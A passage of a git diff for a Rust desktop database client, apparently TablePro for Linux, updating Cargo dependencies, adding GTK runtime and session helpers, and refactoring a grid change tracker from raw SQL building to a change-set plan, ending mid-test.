"39ec24b3121d976906ece63c9daad25b85969647682eee313cb5779fdd69e14e" -[[package]] -name = "universal-hash" -version = "0.6.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f4987bdc12753382e0bec4a65c50738ffaabc998b9cdd1f952fb5f39b0048a96" -dependencies = [ - "crypto-common 0.2.2", - "ctutils", -] - [[package]] name = "untrusted" version = "0.7.1" @@ -5956,6 +5326,15 @@ version = "0.11.1+wasi-snapshot-preview1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ccf3ec651a847eb01de73ccad15eb7d99f80485de043efb2f370cd654f4ea44b" +[[package]] +name = "wasi" +version = "0.14.7+wasi-0.2.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "883478de20367e224c0090af9cf5f9fa85bed63a95c1abf3afc5c083ebc06e8c" +dependencies = [ + "wasip2", +] + [[package]] name = "wasip2" version = "1.0.4+wasi-0.2.12" @@ -5965,6 +5344,15 @@ dependencies = [ "wit-bindgen", ] +[[package]] +name = "wasite" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "66fe902b4a6b8028a753d5424909b764ccf79b7a209eac9bf97e59cda9f71a42" +dependencies = [ + "wasi 0.14.7+wasi-0.2.4", +] + [[package]] name = "wasm-bindgen" version = "0.2.128" @@ -5974,7 +5362,6 @@ dependencies = [ "cfg-if", "once_cell", "rustversion", - "serde", "wasm-bindgen-macro", "wasm-bindgen-shared", ] @@ -6064,6 +5451,13 @@ name = "whoami" version = "2.1.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "626c4bac6755d76ffc12cb01b2eac751db1996b9e0041de9aa02c8c211ddc82c" +dependencies = [ + "libc", + "libredox", + "objc2-system-configuration", + "wasite", + "web-sys", +] [[package]] name = "winapi" @@ -6096,27 +5490,6 @@ version = "0.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" -[[package]] -name = "windows" -version = "0.62.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "527fadee13e0c05939a6a05d5bd6eec6cd2e3dbd648b9f8e447c6518133d8580" -dependencies = [ - "windows-collections", - "windows-core", - "windows-future", - "windows-numerics", -] - -[[package]] -name = "windows-collections" -version = "0.3.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "23b2d95af1a8a14a3c7367e1ed4fc9c20e0a26e79551b1454d72583c97cc6610" -dependencies = [ - "windows-core", -] - [[package]] name = "windows-core" version = "0.62.2" @@ -6130,17 +5503,6 @@ dependencies = [ "windows-strings", ] -[[package]] -name = "windows-future" -version = "0.3.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e1d6f90251fe18a279739e78025bd6ddc52a7e22f921070ccdc67dde84c605cb" -dependencies = [ - "windows-core", - "windows-link", - "windows-threading", -] - [[package]] name = "windows-implement" version = "0.60.2" @@ -6169,16 +5531,6 @@ version = "0.2.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "f0805222e57f7521d6a62e36fa9163bc891acd422f971defe97d64e70d0a4fe5" -[[package]] -name = "windows-numerics" -version = "0.3.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6e2e40844ac143cdb44aead537bbf727de9b044e107a0f1220392177d15b0f26" -dependencies = [ - "windows-core", - "windows-link", -] - [[package]] name = "windows-result" version = "0.4.1" @@ -6231,15 +5583,6 @@ dependencies = [ "windows_x86_64_msvc", ] -[[package]] -name = "windows-threading" -version = "0.2.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3949bd5b99cafdf1c7ca86b43ca564028dfe27d66958f2470940f73d86d75b37" -dependencies = [ - "windows-link", -] - [[package]] name = "windows_aarch64_gnullvm" version = "0.52.6" @@ -6312,24 +5655,24 @@ version = "0.57.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "1ebf944e87a7c253233ad6766e082e3cd714b5d03812acc24c318f549614536e" -[[package]] -name = "wnaf" -version = "0.14.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "795ca18b3fdb5e62bf982199278341ddcf7ebf7d32e25e212ad05d496e95f6fa" -dependencies = [ - "ff", - "group", - "hybrid-array", - "primefield", -] - [[package]] name = "writeable" version = "0.6.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "3ad82d2a33cdc9674dc7465672f271e096168fcdbe0f799d9e6db8c5892679dc" +[[package]] +name = "x509-cert" +version = "0.2.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1301e935010a701ae5f8655edc0ad17c44bad3ac5ce8c39185f75453b720ae94" +dependencies = [ + "const-oid 0.9.6", + "der 0.7.10", + "spki 0.7.3", + "tls_codec", +] + [[package]] name = "x509-parser" version = "0.18.1" @@ -6344,7 +5687,7 @@ dependencies = [ "nom", "oid-registry", "rusticata-macros", - "thiserror 2.0.20", + "thiserror", "time", ] diff --git a/linux/Cargo.toml b/linux/Cargo.toml index 86225dbc35..8ec0fc0cb7 100644 --- a/linux/Cargo.toml +++ b/linux/Cargo.toml @@ -30,20 +30,33 @@ serde_json = { version = "1", features = ["preserve_order", "raw_value"] } sqlparser = { version = "0.63", default-features = false, features = ["std"] } tokio = { version = "1", features = ["rt-multi-thread", "macros", "net", "time", "sync", "process"] } tokio-util = { version = "0.7", default-features = false, features = ["codec", "rt"] } -russh = "0.63" secrecy = { version = "0.10", features = ["serde"] } tracing = "0.1" tracing-subscriber = { version = "0.3", features = ["env-filter", "json"] } -clickhouse = { version = "0.15", default-features = false, features = ["rustls-tls-aws-lc", "rustls-tls-webpki-roots"] } -sqlx = { version = "0.9", default-features = false, features = ["runtime-tokio", "chrono", "rust_decimal", "uuid", "json"] } -tiberius = { version = "0.12", default-features = false, features = ["tds73", "rustls", "chrono", "rust_decimal"] } +# The driver dials through its own hyper-rustls connector, so the crate's +# own TLS features would only add a second, unused TLS stack. +clickhouse = { version = "0.15", default-features = false } +sqlx = { version = "0.9", default-features = false, features = ["runtime-tokio", "chrono", "uuid", "json"] } +# The driver reads and writes DECIMAL through tiberius's own Numeric. +tiberius = { version = "0.13", default-features = false, features = ["tds73", "rustls", "chrono"] } chrono = { version = "0.4", default-features = false, features = ["clock", "serde"] } csv = "1.4" -rust_decimal = { version = "1", default-features = false, features = ["serde", "std"] } # No zlib feature: it pulls libz-sys, and the pure-Rust deflate keeps # the build free of another C dependency. rust_xlsxwriter = { version = "0.99", default-features = false, features = ["chrono"] } futures = "0.3" +futures-util = { version = "0.3", default-features = false, features = ["std"] } +bytes = "1" +fallible-iterator = "0.2" +tokio-postgres = { version = "0.7.18", default-features = false, features = ["runtime"] } +postgres-types = { version = "0.2.14", features = ["with-chrono-0_4"] } +postgres-protocol = "0.6.12" +deadpool-postgres = { version = "0.14.2", default-features = false, features = ["rt_tokio_1"] } +deadpool = { version = "0.13.1", default-features = false, features = ["managed", "rt_tokio_1"] } +clickhouse-types = "0.1.3" +# The provider comes from the ClientConfig the driver builds, so neither +# provider feature is needed, and leaving both off keeps ring out. +tokio-postgres-rustls = { version = "0.14.0", default-features = false } libsqlite3-sys = ">=0.30.1, <0.38.0" num-bigint = { version = "0.4", default-features = false, features = ["std"] } proptest = "1.11" @@ -92,11 +105,3 @@ ignore_without_reason = "deny" [profile.release] lto = "fat" codegen-units = 1 - -# tiberius 0.12.3 pins libgssapi 0.4, whose `Buf::deref` is undefined behaviour -# on the empty token of a successful Kerberos login (prisma/tiberius#343), and -# rustls 0.21 with rustls-webpki 0.101 (RUSTSEC-2026-0098/0099/0104). Upstream -# main at tiberius-rs/tiberius fixes both and has no release yet. Drop this pin -# and bump `tiberius` when 0.13 is published. -[patch.crates-io] -tiberius = { git = "https://github.com/tiberius-rs/tiberius", rev = "c1d2e741ee6fe0935091826d91fb5886b6a4082a" } diff --git a/linux/crates/app/Cargo.toml b/linux/crates/app/Cargo.toml index 7e58632385..c681eb4e2b 100644 --- a/linux/crates/app/Cargo.toml +++ b/linux/crates/app/Cargo.toml @@ -40,10 +40,11 @@ tablepro-driver-mysql = { path = "../drivers/mysql" } tablepro-driver-postgres = { path = "../drivers/postgres" } tablepro-driver-sqlite = { path = "../drivers/sqlite" } chrono.workspace = true -rust_decimal.workspace = true +futures.workspace = true serde.workspace = true serde_json.workspace = true thiserror.workspace = true +tablepro-net = { path = "../net" } tablepro-ssh = { path = "../ssh" } tablepro-session = { path = "../session" } tablepro-storage = { path = "../storage" } @@ -63,6 +64,7 @@ gettext-rs = { version = "0.8", features = ["gettext-system"] } sqlformat = "0.5" [dev-dependencies] +tablepro-session = { path = "../session", features = ["fakes"] } tablepro-test-support = { path = "../test-support" } tokio = { workspace = true, features = ["macros", "rt", "test-util"] } tempfile.workspace = true diff --git a/linux/crates/app/src/lib.rs b/linux/crates/app/src/lib.rs index 44a497dcba..b26cc6ec8d 100644 --- a/linux/crates/app/src/lib.rs +++ b/linux/crates/app/src/lib.rs @@ -1,10 +1,16 @@ +use std::path::Path; +use std::rc::Rc; use std::sync::Arc; use libadwaita as adw; use relm4::RelmApp; use thiserror::Error; -use tablepro_core::DriverRegistry; +use tablepro_core::{ConnectEnvironment, DriverRegistry, LivenessPolicy}; +use tablepro_session::operation::{DeadlinePolicy, DefaultDeadlines}; +use tablepro_session::runtime::Tasks; +use tablepro_session::{ConnectServices, DriverConnector, SessionRegistry}; +use tablepro_ssh::SshServices; pub mod config; pub mod i18n; @@ -12,7 +18,6 @@ pub mod logging; mod persistence; pub mod runtime; mod services; -pub mod session; pub mod storage; #[cfg(test)] mod test_support; @@ -91,19 +96,44 @@ fn start() -> Result<(), StartupError> { &tasks, )); - let registry = Arc::new(build_registry()); - tracing::info!(drivers = registry.len(), "starting tablepro"); + let drivers = Arc::new(build_registry()); + tracing::info!(drivers = drivers.len(), "starting tablepro"); gio::resources_register_include!("tablepro.gresource").map_err(StartupError::Resources)?; - let app = RelmApp::from_app( - adw::Application::builder() - .application_id(config::APP_ID) - .resource_base_path(config::RESOURCE_BASE_PATH) - .build(), + let application = adw::Application::builder() + .application_id(config::APP_ID) + .resource_base_path(config::RESOURCE_BASE_PATH) + .build(); + let ssh = ssh_services(&storage.paths().runtime, &tasks); + let liveness = LivenessPolicy::DESKTOP; + let deadlines: Arc = Arc::new(DefaultDeadlines::new(liveness)); + let connector = DriverConnector::new( + ConnectServices { + environment: ConnectEnvironment::new(config::VERSION), + ssh, + liveness, + }, + deadlines.clone(), ); + let (prompter, prompts) = ui::credential_prompt::GtkCredentialPrompter::new(); + let context = Rc::new(services::session_context::SessionContext { + drivers, + connector: Arc::new(connector), + deadlines, + prompter: Arc::new(prompter), + secrets: storage.secrets().clone(), + sessions: SessionRegistry::new(), + hold: Rc::new(runtime::GioProcessHold::new(&application)), + tasks: tasks.clone(), + liveness, + active: services::active_session::ActiveSession::new(), + }); + + let app = RelmApp::from_app(application); app.run::(ui::AppInit { - registry, + context, + prompts, settings, storage, tasks, @@ -117,6 +147,28 @@ fn start() -> Result<(), StartupError> { Ok(()) } +/// The system OpenSSH client, with its control sockets under the app's +/// runtime directory. +/// +/// A missing askpass helper is logged rather than fatal: only SSH needs +/// it, and the connect that tries says so in its own error. The sweep +/// ends masters a crashed instance left behind, which would otherwise +/// keep their tunnels open until the next reboot. +fn ssh_services(runtime_dir: &Path, tasks: &Tasks) -> SshServices { + let services = SshServices::system(runtime_dir.to_path_buf(), Path::new(config::LIBEXECDIR)); + if let Err(error) = services.verify_askpass_helper() { + tracing::warn!(%error, "SSH connections will fail until the askpass helper is installed"); + } + let sweeping = services.clone(); + drop(tasks.spawn_task(async move { + let ended = tablepro_ssh::sweep_stale_masters(&sweeping).await; + if ended > 0 { + tracing::info!(ended, "ended SSH masters a previous instance left running"); + } + })); + services +} + fn build_registry() -> DriverRegistry { let mut r = DriverRegistry::new(); r.register(Arc::new(drivers_clickhouse::ClickhouseDriver)); diff --git a/linux/crates/app/src/runtime/deliver.rs b/linux/crates/app/src/runtime/deliver.rs new file mode 100644 index 0000000000..de5093cd2f --- /dev/null +++ b/linux/crates/app/src/runtime/deliver.rs @@ -0,0 +1,48 @@ +use std::future::Future; + +use tablepro_session::runtime::{TaskFailure, Tasks}; + +/// Run `work` on the app runtime and hand its result to `deliver` on the +/// GTK thread. +/// +/// Drivers need a tokio context and widgets need the GTK thread, so a +/// view never awaits driver work itself: the work runs on `Tasks` and +/// only the answer crosses back. Aborting the returned handle drops the +/// delivery, never the work, so a save the user started still lands. +pub fn spawn_and_deliver(tasks: &Tasks, work: W, deliver: D) -> glib::JoinHandle<()> +where + T: Send + 'static, + W: Future + Send + 'static, + D: FnOnce(Result) + 'static, +{ + let running = tasks.spawn_task(work); + glib::spawn_future_local(async move { + deliver(running.await); + }) +} + +#[cfg(test)] +mod tests { + use std::cell::RefCell; + use std::rc::Rc; + + use super::*; + + #[gtk4::test] + fn the_result_arrives_on_the_main_thread() { + let runtime = crate::test_support::test_runtime(); + let main_thread = std::thread::current().id(); + let seen = Rc::new(RefCell::new(None)); + let sink = seen.clone(); + + let _delivery = spawn_and_deliver(&runtime.tasks(), async { std::thread::current().id() }, move |worker| { + *sink.borrow_mut() = Some((worker.ok(), std::thread::current().id())); + }); + crate::test_support::wait_until(std::time::Duration::from_secs(5), || seen.borrow().is_some()) + .expect("the delivery"); + + let (worker, delivered_on) = seen.borrow_mut().take().expect("a result"); + assert_ne!(worker, Some(main_thread), "the work ran on the GTK thread"); + assert_eq!(delivered_on, main_thread); + } +} diff --git a/linux/crates/app/src/runtime/gio_process_hold.rs b/linux/crates/app/src/runtime/gio_process_hold.rs new file mode 100644 index 0000000000..d9a0ce38b5 --- /dev/null +++ b/linux/crates/app/src/runtime/gio_process_hold.rs @@ -0,0 +1,51 @@ +use tablepro_session::runtime::{HoldToken, ProcessHold}; + +/// Keeps the GApplication running while a token is alive, so closing +/// the last window does not end the process with a connection still +/// closing behind it. +#[derive(Debug, Clone)] +pub struct GioProcessHold { + application: gio::Application, +} + +impl GioProcessHold { + pub fn new(application: &impl glib::prelude::IsA) -> Self { + Self { + application: application.as_ref().clone(), + } + } + + /// The hold for whichever application is running, or none in a test + /// that never started one. + pub fn for_default_application() -> Option { + gio::Application::default().map(|application| Self { application }) + } +} + +impl ProcessHold for GioProcessHold { + fn acquire(&self) -> HoldToken { + HoldToken::new(gio::prelude::ApplicationExtManual::hold(&self.application)) + } +} + +/// A hold on the running application when there is one, and an inert +/// token otherwise. GTK-thread only, like the application itself. +pub fn hold_default_application() -> HoldToken { + GioProcessHold::for_default_application().map_or_else(HoldToken::inert, |hold| hold.acquire()) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[gtk4::test] + fn the_hold_lasts_as_long_as_its_token() { + let application = gio::Application::new(None, gio::ApplicationFlags::NON_UNIQUE); + let hold = GioProcessHold::new(&application); + + let token = hold.acquire(); + drop(token); + let again = hold.acquire(); + drop(again); + } +} diff --git a/linux/crates/app/src/runtime/mod.rs b/linux/crates/app/src/runtime/mod.rs index 91c19d69e8..d8815e78e2 100644 --- a/linux/crates/app/src/runtime/mod.rs +++ b/linux/crates/app/src/runtime/mod.rs @@ -1,3 +1,7 @@ mod app_runtime; +mod deliver; +mod gio_process_hold; pub use app_runtime::AppRuntime; +pub use deliver::spawn_and_deliver; +pub use gio_process_hold::{GioProcessHold, hold_default_application}; diff --git a/linux/crates/app/src/services/active_session.rs b/linux/crates/app/src/services/active_session.rs new file mode 100644 index 0000000000..f4006a8f69 --- /dev/null +++ b/linux/crates/app/src/services/active_session.rs @@ -0,0 +1,50 @@ +use std::cell::RefCell; +use std::rc::Rc; +use std::sync::Arc; + +use tablepro_session::{ConnectionMetadata, Session}; + +/// The window's current session, shared by every view on the GTK thread. +/// +/// Views hold a clone of this handle rather than the session itself, so +/// a disconnect or a switch to another database reaches all of them at +/// once and none keeps a closed session alive. +#[derive(Debug, Clone, Default)] +pub struct ActiveSession { + current: Rc>>>, +} + +impl ActiveSession { + pub fn new() -> Self { + Self::default() + } + + pub fn get(&self) -> Option> { + self.current.borrow().clone() + } + + pub fn replace(&self, session: Arc) -> Option> { + self.current.borrow_mut().replace(session) + } + + pub fn take(&self) -> Option> { + self.current.borrow_mut().take() + } + + pub fn is_connected(&self) -> bool { + self.current.borrow().is_some() + } + + pub fn metadata(&self) -> Option { + self.current.borrow().as_ref().map(|session| session.metadata().clone()) + } + + /// What the connection enforces. False with no session, because + /// nothing can be written then anyway. + pub fn read_only(&self) -> bool { + self.current + .borrow() + .as_ref() + .is_some_and(|session| session.read_only()) + } +} diff --git a/linux/crates/app/src/services/change_tracker.rs b/linux/crates/app/src/services/change_tracker.rs index 0c7a9f2da4..8c569e14b3 100644 --- a/linux/crates/app/src/services/change_tracker.rs +++ b/linux/crates/app/src/services/change_tracker.rs @@ -30,12 +30,11 @@ use std::collections::{HashMap, VecDeque}; use uuid::Uuid; -use tablepro_core::{ - ColumnInfo, Value, - sql_dialect::{BuildSqlError, build_insert_from_draft, build_update, placeholder_for, quote_ident}, -}; - -pub type MaterializedStatements = (Vec<(String, Vec)>, Vec); +use tablepro_core::dml::BuildSqlError; +use tablepro_core::edit::CellInput; +use tablepro_core::meta::RowIdentity; +use tablepro_core::save::{ChangeOrigin, ChangeSet, RowInsert, RowUpdate}; +use tablepro_core::{ColumnInfo, Value}; const UNDO_LIMIT: usize = 50; @@ -106,10 +105,8 @@ pub enum RowState { InsertDraft, } -/// Identifies which logical row produced a given materialised SQL -/// statement. Returned alongside the statements from `materialize` so -/// a downstream `DriverError::Transaction { statement_index }` can be -/// mapped back to the offending grid row for scroll-and-select. +/// Which grid row a change came from, so a save that fails at one +/// statement can scroll to and flash the row the user edited. #[derive(Debug, Clone)] pub enum StatementSource { Insert { draft_id: u64 }, @@ -509,164 +506,119 @@ impl TabChangeTracker { } } - /// Build the ordered statement list for atomic commit: - /// - /// 1. INSERTs (so server defaults / auto-increment fire first; - /// subsequent FK-aware updates can reference fresh keys). - /// 2. UPDATEs grouped per row into a single full-row UPDATE. - /// 3. DELETEs. + /// What the user changed, as the change set a save is planned from. /// - /// Each statement is a (SQL, params) pair fed straight into - /// `Connection::execute_in_transaction`. The parallel `sources` - /// vector lets the caller map a `DriverError::Transaction - /// { statement_index, .. }` back to the grid row that produced - /// the failing statement. - pub fn materialize( - &self, - driver_id: &str, - schema: Option<&str>, - table: &str, - columns: &[ColumnInfo], - ) -> Result { - let mut out: Vec<(String, Vec)> = Vec::new(); - let mut sources: Vec = Vec::new(); + /// Rows are named by their primary key in column order, which is the + /// identity `pk_identity` describes, so the keys bind straight back. + /// A draft cell the user left empty asks for the server's default + /// where the column has one, as does any column the server fills. + pub fn change_set(&self, columns: &[ColumnInfo]) -> Result { + let mut tracked = TrackedChanges::default(); for draft in &self.inserts { - out.push(build_insert_from_draft( - driver_id, - schema, - table, - columns, - &draft.values, - )?); - sources.push(StatementSource::Insert { + let cells = columns + .iter() + .zip(&draft.values) + .map(|(column, value)| draft_cell(column, value)) + .collect(); + tracked.changes.inserts.push(RowInsert { cells }); + tracked.inserts.push(StatementSource::Insert { draft_id: draft.draft_id, }); } - // Group updates by row_key so each row becomes ONE UPDATE - // (a multi-cell edit on one row is one statement, not N). - let mut per_row: HashMap> = HashMap::new(); + + // One UPDATE per row, setting only the cells that moved, so a + // concurrent edit to a column this user never touched survives. + let mut per_row: HashMap> = HashMap::new(); for ((row_key, col), edit) in &self.updates { per_row .entry(row_key.clone()) .or_default() - .push((*col, edit.prev_value.clone(), edit.new_value.clone())); + .push((*col, edit.new_value.clone())); } - for (row_key, mut edits) in per_row { - edits.sort_by_key(|e| e.0); - // `build_full_row_update` writes every non-PK column, which - // would clobber concurrent edits to columns this user never - // touched. Build the SET list from the tracked edits instead - // and render it through the shared dialect helper. - let RowKey::Persisted(pk_keyvalues) = &row_key else { - continue; // Drafts don't go through UPDATE - }; - let pk_indices: Vec = columns - .iter() - .enumerate() - .filter(|(_, c)| c.primary_key) - .map(|(i, _)| i) - .collect(); - if pk_indices.is_empty() { - return Err(BuildSqlError::NoPrimaryKey); - } - // Reconstruct PK values (KeyValue → Value is lossy but - // acceptable: PK values were captured from the original - // row at edit time and are still equality-correct). - let pk_values: Vec = pk_keyvalues.iter().map(keyvalue_to_value).collect(); - let mut params: Vec = Vec::new(); - let mut placeholder_idx = 0; - let set_clauses: Vec = edits - .iter() - .map(|(col_idx, _, new_val)| { - let s = format!( - "{} = {}", - quote_ident(driver_id, &columns[*col_idx].name), - placeholder_for(driver_id, placeholder_idx) - ); - placeholder_idx += 1; - params.push(new_val.clone()); - s - }) - .collect(); - // NULL-safe WHERE: `col = NULL` is never true under SQL - // three-valued logic. A nullable PK component holding NULL - // must use `IS NULL` or the UPDATE silently matches zero - // rows and the user thinks their save worked. - let where_clauses: Vec = pk_indices - .iter() - .enumerate() - .map(|(local_idx, &col_idx)| { - let ident = quote_ident(driver_id, &columns[col_idx].name); - if matches!(pk_values[local_idx], Value::Null) { - format!("{ident} IS NULL") - } else { - let s = format!("{ident} = {}", placeholder_for(driver_id, placeholder_idx)); - placeholder_idx += 1; - params.push(pk_values[local_idx].clone()); - s - } - }) - .collect(); - let qualified = match schema { - Some(s) => format!("{}.{}", quote_ident(driver_id, s), quote_ident(driver_id, table)), - None => quote_ident(driver_id, table), + for (row_key, mut assignments) in per_row { + let RowKey::Persisted(key) = &row_key else { + continue; }; - let sql = build_update( - driver_id, - &qualified, - &set_clauses.join(", "), - &where_clauses.join(" AND "), - ); - out.push((sql, params)); - sources.push(StatementSource::Update { - row_key: row_key.clone(), + require_key(columns)?; + assignments.sort_by_key(|(col, _)| *col); + tracked.changes.updates.push(RowUpdate { + key: key.iter().map(|part| part.value().clone()).collect(), + assignments, }); + tracked.updates.push(StatementSource::Update { row_key }); } - // Deletes last so FK references unblocked first. + for row_key in self.deletes.keys() { - let RowKey::Persisted(pk_keyvalues) = row_key else { + let RowKey::Persisted(key) = row_key else { continue; }; - let pk_indices: Vec = columns - .iter() - .enumerate() - .filter(|(_, c)| c.primary_key) - .map(|(i, _)| i) - .collect(); - if pk_indices.is_empty() { - return Err(BuildSqlError::NoPrimaryKey); - } - let pk_values: Vec = pk_keyvalues.iter().map(keyvalue_to_value).collect(); - let mut params: Vec = Vec::new(); - // Same NULL-safe rewrite as the UPDATE path above. - let where_clauses: Vec = pk_indices - .iter() - .enumerate() - .map(|(local_idx, &col_idx)| { - let ident = quote_ident(driver_id, &columns[col_idx].name); - if matches!(pk_values[local_idx], Value::Null) { - format!("{ident} IS NULL") - } else { - let s = format!("{ident} = {}", placeholder_for(driver_id, params.len())); - params.push(pk_values[local_idx].clone()); - s - } - }) - .collect(); - let qualified = match schema { - Some(s) => format!("{}.{}", quote_ident(driver_id, s), quote_ident(driver_id, table)), - None => quote_ident(driver_id, table), - }; - let sql = format!("DELETE FROM {qualified} WHERE {}", where_clauses.join(" AND ")); - out.push((sql, params)); - sources.push(StatementSource::Delete { + require_key(columns)?; + tracked + .changes + .deletes + .push(key.iter().map(|part| part.value().clone()).collect()); + tracked.deletes.push(StatementSource::Delete { row_key: row_key.clone(), }); } - Ok((out, sources)) + Ok(tracked) + } +} + +/// The tracker's changes in the form a save plans from, with the row +/// each one came from. +#[derive(Debug, Clone, Default)] +pub struct TrackedChanges { + pub changes: ChangeSet, + inserts: Vec, + updates: Vec, + deletes: Vec, +} + +impl TrackedChanges { + /// The grid row behind one step of the planned save. + pub fn source(&self, origin: ChangeOrigin) -> Option { + match origin { + ChangeOrigin::Insert(index) => self.inserts.get(index), + ChangeOrigin::Update(index) => self.updates.get(index), + ChangeOrigin::Delete(index) => self.deletes.get(index), + } + .cloned() + } +} + +/// The identity the tracker's row keys are written in: the primary key +/// columns, in the order the table lists them. +pub fn pk_identity(columns: &[ColumnInfo]) -> RowIdentity { + RowIdentity::UniqueKey { + columns: columns + .iter() + .filter(|column| column.primary_key) + .map(|column| column.name.clone()) + .collect(), } } +fn require_key(columns: &[ColumnInfo]) -> Result<(), BuildSqlError> { + match columns.iter().any(|column| column.primary_key) { + true => Ok(()), + false => Err(BuildSqlError::NoRowIdentity), + } +} + +/// A NULL the user left in a column with a default means "use the +/// default" (CURRENT_TIMESTAMP, gen_random_uuid()), not an explicit +/// NULL over it. +fn draft_cell(column: &ColumnInfo, value: &Value) -> CellInput { + if column.is_auto_increment || column.is_generated { + return CellInput::Default; + } + if matches!(value, Value::Null) && !column.default.is_none() { + return CellInput::Default; + } + CellInput::Value(value.clone()) +} + fn undo_op_matches_draft(op: &UndoOp, draft_id: u64) -> bool { match op { UndoOp::Insert { draft_id: id, .. } => *id == draft_id, @@ -682,12 +634,6 @@ fn undo_op_matches_draft(op: &UndoOp, draft_id: u64) -> bool { } } -/// The value a key was built from, to go back into the WHERE clause. -/// Nothing is lost on the way out, because nothing was on the way in. -fn keyvalue_to_value(kv: &KeyValue) -> Value { - kv.value().clone() -} - /// Per-tab registry of trackers. Singleton via `thread_local!` because /// all UI work runs on the GTK main thread. #[derive(Debug, Default)] @@ -776,13 +722,16 @@ mod tests { let kind = tablepro_core::column::classify_type_name(type_name); tablepro_core::ColumnInfo { name: name.to_owned(), - column_type: tablepro_core::column::ColumnType::new( - tablepro_core::column::SqlTypeExpr::from_catalog_text(type_name), + column_type: tablepro_core::column::ColumnType { + name: type_name.to_owned(), + dynamic_storage: tablepro_core::column::has_dynamic_storage(&kind), kind, - tablepro_core::column::CatalogType::Unknown, - tablepro_core::column::has_dynamic_storage(kind), - tablepro_core::column::ReadForm::Native, - ), + catalog: Some(tablepro_core::column::CatalogType { + declaration: tablepro_core::column::SqlTypeExpr::from_catalog_text(type_name), + cast_target: tablepro_core::column::SqlTypeExpr::from_catalog_text(type_name), + }), + read_form: tablepro_core::column::ReadForm::Native, + }, nullable: true, primary_key: false, is_auto_increment: false, @@ -914,88 +863,119 @@ mod tests { assert!(!t.can_undo()); } + fn postgres() -> drivers_postgres::PgDialect { + drivers_postgres::PgDialect::new(&tablepro_core::ServerInfo::new("PostgreSQL", "18.0", 18, 0, 0)) + } + + fn plan(tracker: &TabChangeTracker, columns: &[ColumnInfo]) -> (TrackedChanges, tablepro_core::save::SavePlan) { + let tracked = tracker.change_set(columns).unwrap(); + let table = tablepro_core::meta::TableRef::unqualified("t"); + let plan = + tablepro_core::save::plan_save(&postgres(), &table, columns, &pk_identity(columns), &tracked.changes) + .unwrap(); + (tracked, plan) + } + #[test] - fn materialize_orders_inserts_then_updates_then_deletes() { + fn change_set_orders_inserts_then_updates_then_deletes() { let mut t = TabChangeTracker::new(); let columns = vec![pk_col("id"), data_col("name")]; let updated = rk(&[Value::Int(5)]); t.track_cell_edit(updated.clone(), 1, Value::Text("old".into()), Value::Text("new".into())); t.track_insert(vec![Value::Null, Value::Text("draft".into())]); t.track_delete(rk(&[Value::Int(9)]), vec![Value::Int(9), Value::Text("doomed".into())]); - let (stmts, sources) = t.materialize("postgres", None, "users", &columns).unwrap(); - assert_eq!(stmts.len(), 3); - assert_eq!(sources.len(), 3); - assert!(stmts[0].0.starts_with("INSERT")); - assert!(matches!(sources[0], StatementSource::Insert { .. })); - assert!(stmts[1].0.starts_with("UPDATE")); - assert!(matches!(sources[1], StatementSource::Update { .. })); - assert!(stmts[2].0.starts_with("DELETE")); - assert!(matches!(sources[2], StatementSource::Delete { .. })); + + let (tracked, plan) = plan(&t, &columns); + + let sql: Vec<&str> = plan.batch.steps.iter().map(|step| step.statement.sql()).collect(); + assert_eq!(sql.len(), 3); + assert!(sql[0].starts_with("INSERT"), "{sql:?}"); + assert!(sql[1].starts_with("UPDATE"), "{sql:?}"); + assert!(sql[2].starts_with("DELETE"), "{sql:?}"); + let sources: Vec<_> = (0..3) + .map(|step| plan.origin(step).and_then(|o| tracked.source(o))) + .collect(); + assert!(matches!(sources[0], Some(StatementSource::Insert { .. }))); + assert!(matches!(&sources[1], Some(StatementSource::Update { row_key }) if *row_key == updated)); + assert!(matches!(sources[2], Some(StatementSource::Delete { .. }))); } #[test] - fn materialize_uses_is_null_for_null_pk_components() { - // Composite PK where one component is NULL — the WHERE must use - // `IS NULL` for that component or the UPDATE silently matches - // zero rows. + fn a_failing_step_maps_back_to_the_row_that_made_it() { let mut t = TabChangeTracker::new(); - let columns = vec![ - ColumnInfo { - name: "a".into(), - column_type: test_column("", "integer").column_type, - nullable: false, - primary_key: true, - is_auto_increment: false, - default: tablepro_core::column::ColumnDefault::None, - is_generated: false, - comment: None, - }, - ColumnInfo { - name: "b".into(), - column_type: test_column("", "integer").column_type, - nullable: true, - primary_key: true, - is_auto_increment: false, - default: tablepro_core::column::ColumnDefault::None, - is_generated: false, - comment: None, - }, - data_col("name"), - ]; - let key = RowKey::from_pk_values(&[Value::Int(1), Value::Null]).unwrap(); + let columns = vec![pk_col("id"), data_col("name")]; + let doomed = rk(&[Value::Int(9)]); + t.track_insert(vec![Value::Null, Value::Text("draft".into())]); + t.track_delete(doomed.clone(), vec![Value::Int(9), Value::Text("doomed".into())]); + + let (tracked, plan) = plan(&t, &columns); + + let failing = plan.origin(1).and_then(|origin| tracked.source(origin)); + assert!(matches!(failing, Some(StatementSource::Delete { row_key }) if row_key == doomed)); + assert!(plan.origin(2).is_none()); + } + + #[test] + fn an_update_sets_only_the_moved_cell_and_keys_on_the_whole_primary_key() { + let mut t = TabChangeTracker::new(); + let columns = vec![pk_col("a"), pk_col("b"), data_col("name")]; + let key = RowKey::from_pk_values(&[Value::Int(1), Value::Int(2)]).unwrap(); t.track_cell_edit(key, 2, Value::Text("old".into()), Value::Text("new".into())); - let (stmts, _sources) = t.materialize("postgres", None, "t", &columns).unwrap(); - assert_eq!(stmts.len(), 1); - // SET "name" = $1 then WHERE "a" = $2 